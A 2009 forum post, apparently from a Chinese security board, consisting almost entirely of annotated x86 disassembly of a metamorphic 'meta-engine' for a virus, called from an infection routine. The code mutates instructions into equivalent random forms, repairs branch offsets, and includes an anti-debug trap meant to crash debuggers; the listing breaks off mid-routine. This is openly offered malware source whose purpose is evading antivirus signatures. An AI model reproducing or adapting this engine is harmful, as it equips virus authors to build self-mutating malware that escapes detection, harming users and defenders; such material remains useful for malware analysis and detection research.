-
-
[旧帖] [推荐]a simple meta-engine for virus 0.00雪花
-
发表于: 2009-5-6 12:18 3396
-
___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine
AntiDebug: ; CODE XREF: CODE:00401068j
; MetaEngine+1E9j
cmp byte ptr [ebx+7], 0BFh ; are we in kernel mode?
jnz short ret_AntiDebug
mov ecx, 1000h ; counter = 1000h
mov edi, 40000000h
or edi, 80000000h
add edi, ecx ; edi = C0001000h
rep stosd ; copy bytes to edi
ret_AntiDebug: ; CODE XREF: MetaEngine-17j
retn ; return
; END OF FUNCTION CHUNK FOR MetaEngine
; this will result in a crash
; since this routine wasn't CALLed
; _______________ S U B R O U T I N E _______________________________________
; Attributes: bp-based frame
MetaEngine proc near ; CODE XREF: Infect+11Bp
RelocStart = dword ptr -8
RelocCurrent = dword ptr -4
inBuf = dword ptr 8
sizeOfCode = dword ptr 0Ch
outBuf = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi ; save registers
push edi
mov eax, [ebp+sizeOfCode] ; eax = size of code
shl eax, 4 ; multiply by 16
push eax
call callVirtualAlloc ; allocate memory
mov [ebp+RelocStart], eax ; save pointer
mov [ebp+RelocCurrent], eax
mov esi, [ebp+inBuf] ; esi = *source buffer
mov edi, [ebp+outBuf] ; edi = *destination buffer
LoadInstruction: ; CODE XREF: MetaEngine+52j
; MetaEngine+ABj ...
mov ebx, [ebp+RelocCurrent]
add [ebp+RelocCurrent], 10h ; allocate 16 bytes for each instruction
mov [ebx], esi ; set Pointer to Instruction in the Input Buffer
mov [ebx+4], edi ; set Pointer to Mutated Instruction in Output Buffer
xor eax, eax ; eax = 0
mov [ebx+8], eax ; set Pointer to offset of New Relative = 0
cmp esi, [ebp+inBuf] ; are we in the beginning of the code?
jz isJccShort ; yes, start analyzing the code
mov eax, esi ; eax = *current instruction
sub eax, [ebp+inBuf] ; eax -= *start address
cmp eax, [ebp+sizeOfCode] ; are we done?
jnb FixRelocations
mov al, [esi] ; al = opcode
cmp al, 90h ; NOP?
jnz short isPushR32
add esi, 1 ; increase counter (instruction not stored)
jmp short LoadInstruction ; load next instruction
; ___________________________________________________________________________
isPushR32: ; CODE XREF: MetaEngine+4Dj
mov cl, [edi-1] ; cl = last written byte
cmp cl, 50h ; PUSH EAX?
jb isJccShort
cmp cl, 52h ; PUSH EAX/ECX/EDX?
ja isJccShort
mov eax, [ebx] ; eax = [ebx] = [[DisasmCurrent]]
sub eax, [ebx-10h] ; eax -= [[DisasmCurrent]-16]
cmp eax, 1 ; was it only a 1-byte instruction?
jnz isJccShort ; no, disasm next instruction
call Rnd7 ; returns random eax (0 to 7)
jnz isJccShort ; mutate?
sub cl, 50h ; get the register used
MutatePush: ; CODE XREF: MetaEngine+D0j
; MetaEngine+EAj
call Random ; get random number
and al, 3 ; make it between 0 - 3
cmp al, 1 ; al = 1?
jz short MakeMovRegRandom32
cmp al, 2 ; al = 2?
jz short MakeOpRegRandomReg
cmp al, 3 ; al = 3?
jz short MakeMovRegRandom8
mov al, 8Bh ; al = MOV r32, r/m32
stosb ; store
mov al, cl ; al = register
rol al, 3 ; place it in the [reg/opcode] field
or al, 1000101b ; set [mod] = 01, [reg] = 101 (ebp)
stosb ; store
call Random ; get random number
and al, 3Ch ; make it between 0 to 3C
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovRegRandom32: ; CODE XREF: MetaEngine+8Ej
mov al, cl ; al = register
add al, 0B8h ; MOV r32,imm32
stosb ; store
call GetRandomDword ; get random dword
stosd ; store dword
jmp LoadInstruction
; ___________________________________________________________________________
MakeOpRegRandomReg: ; CODE XREF: MetaEngine+92j
call Random ; get random number
mov ah, al ; save it in ah
or ah, 11000000b ; set [mod] = 11
and ah, 11111000b ; clear [reg] field
cmp ah, 11111000b ; is [reg/opcode] == 111 (CMP)?
jz short MutatePush ; try another mutation
mov al, 81h ; al = OP r/m32, imm32
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, ah ; al = random ModRM
add al, cl ; add register
stosb ; store
call GetRandomDword ; get random dword
stosd ; store dword
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovRegRandom8: ; CODE XREF: MetaEngine+96j
mov al, [edi-1] ; al = last written opcode
cmp al, 54h ; PUSH ESP/EBP/ESI/EDI?
jnb short MutatePush ; avoid
call Random ; get random number
and al, 100b ; make it 0 to 4
add al, cl ; add register
add al, 0B0h ; al = MOV r8, imm8
stosb ; store
call Random ; get random byte
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
isJccShort: ; CODE XREF: MetaEngine+35j
; MetaEngine+5Aj ...
mov al, [esi] ; al = opcode
cmp al, 70h ; is it a Jcc?
jb short isBranchShort
cmp al, 80h ; if it's between 70h to 7Fh, it is a Jcc
jb short ModifyJcc
cmp al, 0EBh ; is it a JMP short?
jnz short isBranchShort
mov al, 0E9h ; Generate a JMP near
jmp short ModifyJccAddress
; ___________________________________________________________________________
ModifyJcc: ; CODE XREF: MetaEngine+10Bj
mov byte ptr [edi], 0Fh ; set 0F opcode
add al, 10h ; add 10h
; (70 xx = JO short xx)
; (0F 80 xx = JO near xx)
add edi, 1 ; increase output counter
ModifyJccAddress: ; CODE XREF: MetaEngine+113j
stosb ; store
mov [ebx+8], edi ; save edi in the OffsetNewRelative field
mov al, [esi+1] ; al = relative address
add al, 2 ; al += 2, because we added two bytes
call InvertSign
mov [ebx+0Ch], eax ; save eax in the NewRelative field
add esi, 2 ; increase code pointer by 2
add edi, 4 ; increase output pointer by 4 (dword)
jmp LoadInstruction
; ___________________________________________________________________________
isBranchShort: ; CODE XREF: MetaEngine+107j
; MetaEngine+10Fj
cmp al, 0E8h ; a CALL short?
jz short ModifyBranchAddress
cmp al, 0E9h ; a JMP short?
jz short ModifyBranchAddress
cmp al, 0Fh ; a special opcode 0F?
jnz short isEspUsed
mov cl, [esi+1] ; get next byte
cmp cl, 80h ; Jcc near?
jb AbortEngine ; is it between 80h and 90h?
cmp cl, 90h ; The engine doesn't support 0F xx instructions
jnb AbortEngine
stosb ; store 0F opcode
add esi, 1 ; increase code pointer
mov al, cl ; al = second opcode
ModifyBranchAddress: ; CODE XREF: MetaEngine+13Bj
; MetaEngine+13Fj
stosb ; save branch type
mov [ebx+8], edi ; save edi in the OffsetNewRelative field
add esi, 1 ; increase code pointer
lodsd ; load the address
add eax, 4 ; eax += 4
sub eax, [ebx+4] ; get OutputIP
add eax, edi ; add OutputBuffer
mov [ebx+0Ch], eax ; save eax in the NewRelative field
add edi, 4 ; increase output pointer by 4 (dword)
jmp LoadInstruction
; ___________________________________________________________________________
isEspUsed: ; CODE XREF: MetaEngine+143j
cmp al, 81h ; OP r/m32, imm32?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jnz short isRet_isC0_is83
mov ah, [esi+1] ; ah = ModRM
cmp ah, 0C4h ; ADD ESP, imm32?
jz short Store6Bytes ; avoid
cmp ah, 0ECh ; SUB ESP, imm32?
jnz short isRet_isC0_is83 ; avoid
Store6Bytes: ; CODE XREF: MetaEngine+185j
mov cl, 6
jmp StoreBytes
; ___________________________________________________________________________
isRet_isC0_is83: ; CODE XREF: MetaEngine+17Dj
; MetaEngine+18Aj
cmp al, 0C3h ; RET?
jnb short isD0_D4
cmp al, 0C0h ; OP r/m8, imm8?
; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
jnb short Store3Bytes
cmp al, 83h ; OP r/m32, imm8?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jnz short isD0_D4
mov ah, [esi+1] ; ah = ModRM
cmp ah, 0C4h ; ADD ESP, imm8?
jz short Store3Bytes ; avoid
cmp ah, 0ECh ; SUB ESP, imm8?
jnz short isD0_D4 ; avoid
Store3Bytes: ; CODE XREF: MetaEngine+199j
; MetaEngine+1A5j
mov cl, 3
jmp StoreBytes
; ___________________________________________________________________________
isD0_D4: ; CODE XREF: MetaEngine+195j
; MetaEngine+19Dj ...
cmp al, 0D0h ; OP r/m8, imm8?
; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR)
jb short isInt_isMovEbpEsp
cmp al, 0D4h ; D0 - D3
jb short Store2Bytes ; avoid
isInt_isMovEbpEsp: ; CODE XREF: MetaEngine+1B5j
cmp al, 0CDh ; INT?
jz short Store2Bytes ; avoid
cmp al, 8Bh ; MOV r32, r/m32?
jnz short isRep_isF6_isF7
cmp byte ptr [esi+1], 0ECh ; 8B EC = MOV EBP, ESP
jz short CheckRegOpcodeField
isRep_isF6_isF7: ; CODE XREF: MetaEngine+1C1j
cmp al, 0F3h ; REP prefix?
jz short Store2Bytes ; avoid
cmp al, 0F6h ; OP r/m8?
; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
jz short CheckRegOpcodeField
cmp al, 0F7h ; OP r/m32?
; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
jnz short isInt3_Ret_PushReg
CheckRegOpcodeField: ; CODE XREF: MetaEngine+1C7j
; MetaEngine+1CFj
mov ah, [esi+1] ; ah = ModRM
and ah, 111000b ; save [reg/opcode] field
cmp ah, 0 ; is it empty?
jz short isInt3_Ret_PushReg ; yes, skip
Store2Bytes: ; CODE XREF: MetaEngine+1B9j
; MetaEngine+1BDj ...
mov cl, 2
jmp StoreBytes
; ___________________________________________________________________________
isInt3_Ret_PushReg: ; CODE XREF: MetaEngine+1D3j
; MetaEngine+1DEj
cmp al, 0CCh ; INT 3?
jz AntiDebug
cmp al, 0C3h ; RET?
jz short StoreOneByteOpcode
cmp al, 50h ; PUSH r32 / POP r32?
jb short isMovTestRmReg
cmp al, 60h ; check if it's between 50 to 60
jnb short isMovTestRmReg
StoreOneByteOpcode: ; CODE XREF: MetaEngine+1F1j
movsb ; copy one byte from source to destination
jmp LoadInstruction
; ___________________________________________________________________________
isMovTestRmReg: ; CODE XREF: MetaEngine+1F5j
; MetaEngine+1F9j
cmp al, 88h ; MOV r/m8, r8?
jz short Mutate?
cmp al, 89h ; MOV r/m32, r32?
jz short Mutate?
cmp al, 84h ; TEST r/m8, r8?
jz short Mutate?
cmp al, 85h ; TEST r/m32, r32?
jz short Mutate?
cmp al, 40h ; is opcode < 40?
jnb short isMovLeaRegRm
mov ah, al ; ah = opcode
and ah, 111b ; save last 3 bits
cmp ah, 0 ; OP r/m8, r8
jz short Mutate?
cmp ah, 1 ; OP r/m32, r32?
jnz short isMovLeaRegRm
Mutate?: ; CODE XREF: MetaEngine+203j
; MetaEngine+207j ...
call Rnd7 ; returns random eax (0 to 7)
jz short CheckModRM ; mutate if eax = 0 (1/8 probability)
jmp StoreDisplacementPlus2 ; else, skip this instruction
; ___________________________________________________________________________
CheckModRM: ; CODE XREF: MetaEngine+229j
mov cl, [esi+1] ; cl = ModRM
and cl, 11000000b ; save the [mod] field
cmp cl, 0 ; [mod] == 00?
jz short jmp_Mutate
cmp cl, 11000000b ; [mod] == 11?
jz short jmp_Mutate
call Random ; get random number
and al, 1 ; make it 0 or 1
cmp al, 0 ; is it 0?
jz Morph1 ; mutate
jmp_Mutate: ; CODE XREF: MetaEngine+239j
; MetaEngine+23Ej
jmp Morph2 ; mutate
; ___________________________________________________________________________
isMovLeaRegRm: ; CODE XREF: MetaEngine+213j
; MetaEngine+222j
cmp al, 8Ah ; MOV r8, r/m8?
jz short _Mutate?
cmp al, 8Bh ; MOV r32, r/m32?
jz short _Mutate?
cmp al, 8Dh ; LEA r32, mem?
jz short _Mutate?
cmp al, 40h ; is opcode < 40?
jnb short isFE_isFF
mov ah, al
and ah, 111b ; keep last 3 bits
cmp ah, 2 ; OP r8, r/m8?
jz short _Mutate?
cmp ah, 3 ; OP r32, r/m32?
jnz short isFE_isFF
_Mutate?: ; CODE XREF: MetaEngine+256j
; MetaEngine+25Aj ...
call Rnd7 ; returns random eax (0 to 7)
jz short _CheckModRM ; mutate if eax = 0 (1/8 probability)
jmp StoreDisplacementPlus2 ; else, skip this instruction
; ___________________________________________________________________________
_CheckModRM: ; CODE XREF: MetaEngine+278j
mov cl, [esi+1] ; cl = ModRM
and cl, 11000000b ; save the [mod] field
cmp cl, 0 ; [mod] == 00?
jz short _jmp_Mutate
cmp cl, 11000000b ; [mod] == 11?
jz short _jmp_Mutate
call Random ; get random number
and al, 1 ; make it 1 or 0
cmp al, 0 ; is it zero?
jz Morph1 ; mutate
_jmp_Mutate: ; CODE XREF: MetaEngine+288j
; MetaEngine+28Dj
jmp Morph3 ; mutate
; ___________________________________________________________________________
isFE_isFF: ; CODE XREF: MetaEngine+262j
; MetaEngine+271j
cmp al, 0FEh ; INC/DEC r/m8?
jz short MakeMovRegPushReg
cmp al, 0FFh ; OP r/m32?
; (INC/DEC/JMP/CALL/PUSH)
jnz short isMovReg8Imm8?
MakeMovRegPushReg: ; CODE XREF: MetaEngine+2A5j
mov al, [esi+1] ; al = ModRM
and al, 111000b ; keep the [reg/opcode] field
ror al, 3 ; place it in the [reg] field
cmp al, 111b ; opcode == 111?
jz AbortEngine ; exit engine
cmp al, 110b ; opcode != 110 (PUSH)?
jnz StoreDisplacementPlus2 ; skip
mov al, 8Bh ; Generate MOV EAX, r/m32
stosb ; store
mov al, [esi+1] ; al = ModRM
and al, 11000111b ; keep [mod] and [reg] fields
; set [reg/opcode] = 000
stosb ; store ModRM byte
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code counter by 2
rep movsb ; store address
mov al, 50h ; Generate PUSH EAX
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
isMovReg8Imm8?: ; CODE XREF: MetaEngine+2A9j
cmp al, 0B0h ; MOV r8, imm8?
jb short isMovReg32Imm32
cmp al, 0B8h ; check if it's between B0 to B8
jnb short isMovReg32Imm32
call Rnd7 ; returns random eax (0 to 7)
jz short MakeAddRegRandom8 ; mutate?
mov cl, 2 ; skip
jmp StoreBytes
; ___________________________________________________________________________
MakeAddRegRandom8: ; CODE XREF: MetaEngine+2EBj
; MetaEngine+2FBj
call Random ; get random
and al, 11b ; make it between 1 - 3
jz short MakeAddRegRandom8 ; if it's zero, try again
mov dh, al ; dh = random selection
movsb ; store opcode
call Random ; get random number
mov cl, al ; save it in CL
stosb ; store random byte
mov al, 80h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
stosb ; store operation
mov al, [esi-1] ; get original instruction opcode
sub al, 0B0h ; subtract opcode, al = register used
cmp dh, 2 ; if random == 2, Generate SUB
jz short MakeSubRegRandom8
cmp dh, 3 ; if random == 3, Generate XOR
jz short MakeXorRegRandom8
or al, 11000000b ; Generate ADD (ModRM = 11 000 reg)
stosb ; store ModRM
lodsb ; load the original immediate value
sub al, cl ; subtract the random value
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeSubRegRandom8: ; CODE XREF: MetaEngine+313j
or al, 11101000b ; Generate SUB (ModRM = 11 101 reg)
stosb ; store ModRM
lodsb ; load the original immediate value
sub al, cl ; al -= random value
mov ah, al ; save al in ah
mov al, 0
sub al, ah ; al = -al
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeXorRegRandom8: ; CODE XREF: MetaEngine+318j
or al, 11110000b ; Generate XOR (ModRM = 11 110 reg)
stosb ; store ModRM
lodsb ; load the original immediate value
xor al, cl ; xor the value with a random value
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
isMovReg32Imm32: ; CODE XREF: MetaEngine+2E0j
; MetaEngine+2E4j
cmp al, 0B8h ; MOV r32, imm32?
jb short MakeMovPush1
cmp al, 0C0h ; check if it's between B8 - C0
jnb short MakeMovPush1
call Rnd7 ; returns random eax (0 to 7)
jz short MakeAddRegRandom32 ; mutate?
mov cl, 5 ; skip
jmp StoreBytes
; ___________________________________________________________________________
MakeAddRegRandom32: ; CODE XREF: MetaEngine+351j
; MetaEngine+363j
call Random ; get random number
and al, 11b ; make it between 1 - 3
cmp al, 0 ; if it's zero,
jz short MakeAddRegRandom32 ; then try again
mov ah, al ; ah = random selection
movsb ; store opcode
call GetRandomDword ; returns a random dword in EAX
mov ecx, eax ; ecx = random dword
stosd ; store random dword
mov al, 81h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
stosb ; store operation
mov al, [esi-1] ; get original instruction opcode
sub al, 0B8h ; get the register used
cmp al, 2 ; if random == 2, Generate SUB
jz short MakeSubRegRandom32
cmp al, 3 ; if random == 3, Generate XOR
jz short MakeXorRegRandom32
or al, 11000000b ; Generate ADD (ModRM = 11 000 reg)
stosb ; store ModRM
lodsd ; load the original immediate value
sub eax, ecx ; subtract the random value
stosd ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeSubRegRandom32: ; CODE XREF: MetaEngine+37Aj
or al, 11101000b ; Generate SUB (ModRM = 11 101 reg)
stosb ; store ModRM
lodsd ; load the original immediate value
sub eax, ecx ; eax -= random
mov ecx, eax ; save eax
mov eax, 0
sub eax, ecx ; eax = -eax
stosd ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeXorRegRandom32: ; CODE XREF: MetaEngine+37Ej
or al, 11110000b ; Generate XOR (ModRM = 11 110 reg)
stosb ; store ModRM
lodsd ; load the original immediate value
xor eax, ecx ; xor the value with a random value
stosd ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovPush1: ; CODE XREF: MetaEngine+346j
; MetaEngine+34Aj
cmp al, 68h ; PUSH imm32?
jnz short MakeMovPush2
add esi, 1 ; increase code pointer
mov al, 0B8h ; Generate MOV r32, imm32
stosb ; store
movsd ; write next 4 bytes
mov al, 50h ; Generate PUSH r32
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMovPush2: ; CODE XREF: MetaEngine+3AFj
cmp al, 6Ah ; PUSH imm8?
jnz short MakeMOVSB
add esi, 1 ; increase code pointer
mov al, 0B8h ; make MOV r32, imm32
stosb ; store
lodsb ; load byte (imm8)
call InvertSign
stosd ; store dword (imm32)
mov al, 50h ; make PUSH r32
stosb ; store
jmp LoadInstruction
; ___________________________________________________________________________
MakeMOVSB: ; CODE XREF: MetaEngine+3C2j
cmp al, 0A4h ; MOVSB?
jnz short MakeMOVSD
add esi, 1 ; Replace A4 with the following sequence:
mov eax, 83068A50h ; 50 push eax
stosd ; 8A 06 mov al, [esi]
mov eax, 78801C6h ; 83 C6 01 add esi, 1
stosd ; 88 07 mov [edi], al
mov eax, 5801C783h ; 83 C7 01 add edi, 1
stosd ; 58 pop eax
jmp LoadInstruction
; ___________________________________________________________________________
MakeMOVSD: ; CODE XREF: MetaEngine+3DBj
cmp al, 0A5h ; MOVSD?
jnz short MakeSTOSB
add esi, 1 ; Replace A5 with the following sequence:
mov eax, 83068B50h ; 50 push eax
stosd ; 8B 06 mov eax, [esi]
mov eax, 78904C6h ; 83 C6 04 add esi, 4
stosd ; 89 07 mov [edi], eax
mov eax, 5804C783h ; 83 C7 04 add edi, 4
stosd ; 58 pop eax
jmp LoadInstruction
; ___________________________________________________________________________
MakeSTOSB: ; CODE XREF: MetaEngine+3F9j
cmp al, 0AAh ; STOSB?
jnz short MakeSTOSD
add esi, 1 ; Replace AA with the following sequence:
mov eax, 0C7830788h ; 88 07 mov [edi], al
stosd ; 83 C7 01 add edi, 1
mov al, 1
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeSTOSD: ; CODE XREF: MetaEngine+417j
cmp al, 0ABh ; STOSD?
jnz short MakeLODSB
add esi, 1 ; Replace AB with the following sequence:
mov eax, 0C7830789h ; 88 07 mov [edi], eax
stosd ; 83 C7 04 add edi, 4
mov al, 4
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeLODSB: ; CODE XREF: MetaEngine+42Cj
cmp al, 0ACh ; LODSB?
jnz short MakeLODSD
add esi, 1 ; Replace AC with the following sequence:
mov eax, 0C683068Ah ; 8A 06 mov al, [esi]
stosd ; 83 C6 01 add esi, 1
mov al, 1
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeLODSD: ; CODE XREF: MetaEngine+441j
cmp al, 0ADh ; LODSD?
jnz short MakeOpRm8Imm8
add esi, 1 ; Replace AD with the following sequence:
mov eax, 0C683068Bh ; 8B 06 mov eax, [esi]
stosd ; 83 C6 04 add esi, 4
mov al, 4
stosb
jmp LoadInstruction
; ___________________________________________________________________________
MakeOpRm8Imm8: ; CODE XREF: MetaEngine+456j
cmp al, 40h ; opcode < 40?
jnb short MakeTestImm8
mov ah, al
and ah, 111b ; save last 3 bits
cmp ah, 4 ; OP AL, imm8?
jnz short MakeOpEaxImm32
mov al, 80h ; Generate OP r/m8, imm8
; ADC/ADD/AND/CMP/OR/SBB/SUB/XOR
stosb
mov al, [esi] ; load the same instruction again
and al, 111000b ; keep the [reg/opcode] field
or al, 11000000b ; set [mod] = 11
stosb ; store
add esi, 1 ; increase code pointer
movsb ; copy imm8 byte
jmp LoadInstruction
; ___________________________________________________________________________
MakeTestImm8: ; CODE XREF: MetaEngine+46Bj
cmp al, 0A8h ; TEST AL, imm8?
jnz short MakeOpEaxImm32
add esi, 1 ; incrase code pointer by 1
mov al, 0F6h ; Replace A8 with the following sequence:
stosb ; F6 C0 xx test al, xx
mov al, 0C0h
stosb
movsb ; load and store immediate byte
jmp LoadInstruction
; ___________________________________________________________________________
MakeOpEaxImm32: ; CODE XREF: MetaEngine+475j
; MetaEngine+48Cj
cmp al, 40h ; opcode < 40?
jnb short MakeTestEaxImm32
mov ah, al ; ah = opcode
and ah, 111b ; save last 3 bits
cmp ah, 5 ; OP EAX, imm32?
jnz short isOp8Imm8
mov al, 81h ; Generate OP r/m32, imm32
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, [esi] ; al = current opcode
and al, 111000b ; keep the [opcode] field
or al, 11000000b ; set [mod] = 11
stosb ; store ModRM byte
add esi, 1 ; increase code pointer
movsd ; copy immediate dword
jmp LoadInstruction
; ___________________________________________________________________________
MakeTestEaxImm32: ; CODE XREF: MetaEngine+49Fj
cmp al, 0A9h ; TEST EAX, imm32?
jnz short isOp8Imm8
add esi, 1 ; Replace A8 with the following sequence:
mov al, 0F7h ; F6 0C DD CC BB AA test eax, AABBCCDDh
stosb
mov al, 0C0h
stosb
movsd ; load and store immediate dword
jmp LoadInstruction
; ___________________________________________________________________________
isOp8Imm8: ; CODE XREF: MetaEngine+4A9j
; MetaEngine+4C0j
mov ah, al
and ah, 11111110b ; save all bits, but the 'w' bit
cmp ah, 80h ; OP r/m8,imm8?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jz short SaveOpcodeField
cmp ah, 0C6h ; MOV r/m8, imm8?
jz short SaveMovImm8Opcode
cmp ah, 0F6h ; OP r/m8?
; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST)
jnz short Change8bitTo32bit
mov bh, 84h ; bh = TEST r/m8, r8
jmp short __jmp_Mutate
; ___________________________________________________________________________
SaveOpcodeField: ; CODE XREF: MetaEngine+4D9j
mov bh, [esi+1] ; bh = ModRM of 80h
and bh, 111000b ; save [reg/opcode] field
jmp short __jmp_Mutate ; mutate
; ___________________________________________________________________________
SaveMovImm8Opcode: ; CODE XREF: MetaEngine+4DEj
mov bh, 88h ; bh = MOV r/m8, r8
__jmp_Mutate: ; CODE XREF: MetaEngine+4E7j
; MetaEngine+4EFj
jmp Morph4 ; mutate
; ___________________________________________________________________________
Change8bitTo32bit: ; CODE XREF: MetaEngine+4E3j
cmp al, 83h ; OP r/m32, imm8?
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
jnz short AbortEngine
mov al, 81h ; OP r/m32, imm32
stosb ; store
mov al, [esi+1] ; al = ModRM
stosb ; store
call CheckDisplacement ; returns cl: 0, 1 or 4
add esi, 2 ; increase code pointer by 2
rep movsb ; copy displacement
lodsb ; load one byte
call InvertSign
stosd ; store dword
jmp LoadInstruction
; ___________________________________________________________________________
FixRelocations: ; CODE XREF: MetaEngine+43j
mov ebx, edi
sub ebx, [ebp+outBuf] ; ebx = size of output buffer
mov esi, [ebp+RelocStart] ; esi = beginning of relocation table
AnalyzeCurrentEntry: ; CODE XREF: MetaEngine+52Fj
; MetaEngine+555j
add esi, 10h ; esi += 16
cmp esi, [ebp+RelocCurrent] ; are we finished?
jz short ReturnSuccess
mov edi, [esi+8] ; Pointer to offset of New Relative
cmp edi, 0 ; is it blank?
jz short AnalyzeCurrentEntry ; process next instruction
mov edx, [esi+0Ch] ; get New Relative Value
add edx, [esi] ; edx = InputIP + NewRelative
mov ecx, [ebp+RelocStart] ; ecx = pointer to disassembled code
sub ecx, 10h ; ecx -= 16 (for inter-loop reasons)
NextEntry: ; CODE XREF: MetaEngine+54Aj
add ecx, 10h ; check next entry
cmp ecx, [ebp+RelocCurrent] ; are we done?
jnz short LoopOverFirstEntry ; no, proceed to loop over 1st field entries
mov ecx, [esi] ; Save the InputIP
jmp short ReturnZero
; ___________________________________________________________________________
LoopOverFirstEntry: ; CODE XREF: MetaEngine+542j
cmp [ecx], edx ; edx = InputIP + NewRelative
; *ecx = InputIP
jnz short NextEntry
mov eax, [ecx+4] ; eax = OutputIP
sub eax, edi ; eax = OutputIP -
; OffsetNewNewRelative
sub eax, 4 ; eax -= 4, due to earlier calculations
stosd ; store NewRelative in OffsetNewRelative
jmp short AnalyzeCurrentEntry
; ___________________________________________________________________________
ReturnSuccess: ; CODE XREF: MetaEngine+527j
mov eax, ebx ; eax = size of buffer
jmp short FreeMemory
; ___________________________________________________________________________
AbortEngine: ; CODE XREF: MetaEngine+14Bj
; MetaEngine+154j ...
mov ecx, esi ; ecx = pointer to code
ReturnZero: ; CODE XREF: MetaEngine+546j
xor eax, eax ; eax = 0
FreeMemory: ; CODE XREF: MetaEngine+559j
push eax ; save return value
mov eax, [ebp+RelocStart] ; eax = start of disassembly buffer
push eax
call callVirtualFree ; free memory
pop eax ; restore return value
pop edi
pop esi ; restore registers
pop ebx
add esp, 8
pop ebp
nop
retn 0Ch
MetaEngine endp
; _______________ S U B R O U T I N E _______________________________________
; returns random eax (0 to 7)
Rnd7 proc near ; CODE XREF: MetaEngine+77p
; MetaEngine:Mutate?p ...
call Random
and eax, 111b
cmp eax, 0
retn
Rnd7 endp
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine
StoreDisplacementPlus2: ; CODE XREF: MetaEngine+22Bj
; MetaEngine+27Aj ...
call CheckDisplacement ; returns cl: 0, 1 or 4
add cl, 2 ; 2 more bytes
StoreBytes: ; CODE XREF: MetaEngine+18Ej
; MetaEngine+1AEj ...
and ecx, 0FFh ; and the cl bits
rep movsb ; write until cl = 0
jmp LoadInstruction
; END OF FUNCTION CHUNK FOR MetaEngine
; _______________ S U B R O U T I N E _______________________________________
; returns cl: 0, 1 or 4
CheckDisplacement proc near ; CODE XREF: MetaEngine+2CCp
; MetaEngine+503p ...
xor ecx, ecx ; ecx = 0
mov cl, [esi+1] ; cl = ModRM
and cl, 11000000b
cmp cl, 0 ; [mod] == 00?
jz short ret_CheckDisplacement
cmp cl, 11000000b ; [mod] == 11?
jnz short isMod01
mov cl, 0 ; no displacement
jmp short ret_CheckDisplacement
; ___________________________________________________________________________
isMod01: ; CODE XREF: CheckDisplacement+10j
cmp cl, 1000000b ; [mod] == 01?
jnz short Mod10
mov cl, 1 ; 1 byte displacement
jmp short ret_CheckDisplacement
; ___________________________________________________________________________
Mod10: ; CODE XREF: CheckDisplacement+19j
mov cl, 4 ; 4 bytes displacement
ret_CheckDisplacement: ; CODE XREF: CheckDisplacement+Bj
; CheckDisplacement+14j ...
retn
CheckDisplacement endp
; _______________ S U B R O U T I N E _______________________________________
InvertSign proc near ; CODE XREF: MetaEngine+126p
; MetaEngine+3CBp ...
push ecx
xor ecx, ecx ; ecx = 0
cmp al, 0
jns short DontInvert
sub ecx, 1
DontInvert: ; CODE XREF: InvertSign+5j
mov cl, al
mov eax, ecx ; return value in eax
pop ecx
retn
InvertSign endp
; _______________ S U B R O U T I N E _______________________________________
; returns a random dword in EAX
; Attributes: bp-based frame
GetRandomDword proc near ; CODE XREF: MetaEngine+B5p
; MetaEngine+DAp ...
push ebp
mov ebp, esp
push ecx
push edx
call Random
mov edx, eax
call Random
and al, 11111b
mov cl, al
mov eax, 0FFFFFF00h
rol eax, cl
and edx, eax
call Random
and al, 11111b
mov cl, al
mov eax, 0FFFFFF00h
rol eax, cl
and edx, eax
mov eax, edx
pop edx
pop ecx
pop ebp
retn
GetRandomDword endp
; ___________________________________________________________________________
; START OF FUNCTION CHUNK FOR MetaEngine
Morph1: ; CODE XREF: MetaEngine+249j
; MetaEngine+298j
mov bh, 0 ; if bh == 0, choose random reg
call GetWBit ; dl = *esi & 1
call GetRandomReg32
add al, 50h ; Generate PUSH RandomReg
stosb ; store
mov al, 89h ; Generate MOV r/m32, r32
stosb ; store
mov al, [esi+1] ; al = original ModRM
and al, 111b ; save last 3 bits
rol al, 3 ; place original register in the [reg/opcode] field
or al, 11000000b ; set [mod] = 11
add al, bl ; set [reg] field = radnom register
stosb ; store
mov al, [esi+1] ; al = original ModRM
and al, 10000000b
cmp al, 0 ; if [mod] != 0
jnz short GenAddRandomReg32
mov cl, [esi+2] ; cl = imm8
mov al, 83h ; al = OP r/m32, imm8
; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR)
stosb ; store
mov al, bl ; al = random reg
or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD
cmp cl, 0 ; check the sign of CL
js short GenSubRandomReg8
stosb ; store
call Random ; get random number
and al, 7Fh ; set it between 0 - 7F
stosb ; store
sub cl, al ; cl -= radnom
jmp short GenOpRegRandomReg8
; ___________________________________________________________________________
GenSubRandomReg8: ; CODE XREF: MetaEngine+633j
